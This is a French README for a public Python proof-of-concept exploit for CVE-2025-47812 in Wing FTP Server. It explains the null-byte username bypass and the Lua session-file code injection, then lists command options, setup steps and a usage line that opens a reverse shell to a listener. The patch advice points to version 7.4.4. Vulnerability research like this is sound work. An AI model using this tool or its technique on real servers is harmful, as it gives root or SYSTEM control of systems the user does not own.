
Exploit pour CVE-2025-47812 avec pseudo-shell personnalisé et gestion robuste des erreurs.
CVE-2025-47812 Validation d'entrée incorrecte a conduit à une exécution de code à distance menant à un compromis complet du système
Julien Ahrens de RCE Security a découvert une vulnérabilité de sécurité critique impactant WingFTP. Identifiée comme CVE-2025-47812, la vulnérabilité a un score CVSS de 10. L'exploitation réussie de la vulnérabilité peut permettre à un attaquant distant non authentifié d'exécuter du code arbitraire, menant à un compromis complet du système.
Wing FTP Server est un logiciel de serveur FTP multiplateforme, convivial et sécurisé. Il prend en charge plusieurs protocoles de transfert de fichiers, tels que FTP, FTPS, HTTP, HTTPS et SFTP, offrant une flexibilité pour les connexions clients.
Pour rechercher CVE-2025-47812, j'ai déployé un conteneur Docker exécutant Wing FTP Server 7.4.3 sur un hôte Linux. Le conteneur a été configuré pour exposer l'interface Web, et j'ai activé la connexion anonyme pour faciliter les tests non authentifiés. De plus, un compte utilisateur de test (dev-test:test) a été créé pour simuler des scénarios authentifiés. Cette configuration a fourni un environnement sûr et contrôlé pour reproduire la vulnérabilité et valider le comportement de l'exploit.
CVE ID: CVE-2025-47812
CVSS v3.1 Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Base Score: 10.0 (Critique)
Logiciel affecté : <= 7.4.3
Impact : Exécution de code à distance menant à un compromis complet du système.
Prérequis d'exploitation :
Connexion anonyme autorisée ou identifiant utilisateur valide
Aucun privilège sudo requis pour l'utilisateur
Lorsqu'un utilisateur tente de se connecter, il appelle l'appel c_CheckUser qui renvoie toujours OK_CHECK_CONNECTION quel que soit ce qui suit l'octet nul dans le nom d'utilisateur, tant que la chaîne avant l'octet nul correspond à un utilisateur existant. Un attaquant peut exploiter la vulnérabilité en ajoutant un octet nul et des valeurs supplémentaires à un nom d'utilisateur connu pour contourner la vérification du mot de passe. Le système utilise strlen() sur notre nom d'utilisateur pour obtenir la taille de la chaîne, mais strlen ne compte que tous les caractères jusqu'à ce qu'il atteigne le terminateur d'octet nul pour faire correspondre le nom d'utilisateur non nettoyé.
Le nom d'utilisateur non nettoyé (y compris l'octet nul injecté et la charge utile malveillante) est stocké directement dans des fichiers de session en tant que code Lua. Ces fichiers de session ressemblent à .lua et sont ensuite exécutés lorsque les sessions sont chargées. Sous Linux, le serveur Wing FTP s'exécute en tant que root ; sous Windows, il s'exécute en tant que SYSTEM. La charge utile Lua injectée s'exécute avec tous les privilèges lors du rechargement de la session.
Remarque : Ce comportement ne se produit que si le mot de passe n'est pas défini ou avec des identifiants valides. Il impose une validation stricte du mot de passe si un mot de passe est défini pour l'utilisateur.
Options:
-t, --target Target Wing FTP Server URL (e.g., http://192.168.1.100)
-u, --username Username to authenticate (default: anonymous)
-p, --password Password to authenticate (default: empty)
-lh, --lhost Local host to listen for reverse shell (default: 127.0.0.1)
-lp, --lport Local port to listen for reverse shell (default: 31337)
-ns, --no-shell To specify the exploit to not span a temp shell. (Note if it set should manually set listener)
-v, --verbose Enable verbose/debug output
-h, --help Show this help message and exit
git clone https://github.com/pevinkumar10/CVE-2025-47812
cd CVE-2025-47812
pip3 install -r requirements.txt
CVE-2025-47812 - Wing FTP Server Unauthenticated RCE
CVE-2025-47812 - Wing FTP Server authenticated RCE (dev-test:test)
Exemple d'utilisation :
python3 exploit.py --target http://172.17.0.2 --lhost 172.17.0.1 -lport 31336
Les utilisateurs doivent mettre à jour vers WingFTP version 7.4.4 pour corriger la vulnérabilité.
Veuillez vous référer aux notes de version de WingFTP Notes pour plus d'informations.
Remarque : j'ai utilisé la référence ci-dessus à des fins de recherche et mis à jour l'exploit avec plus de fonctionnalités et une gestion des erreurs robuste.
Ce PoC Python est publié sous la licence MIT.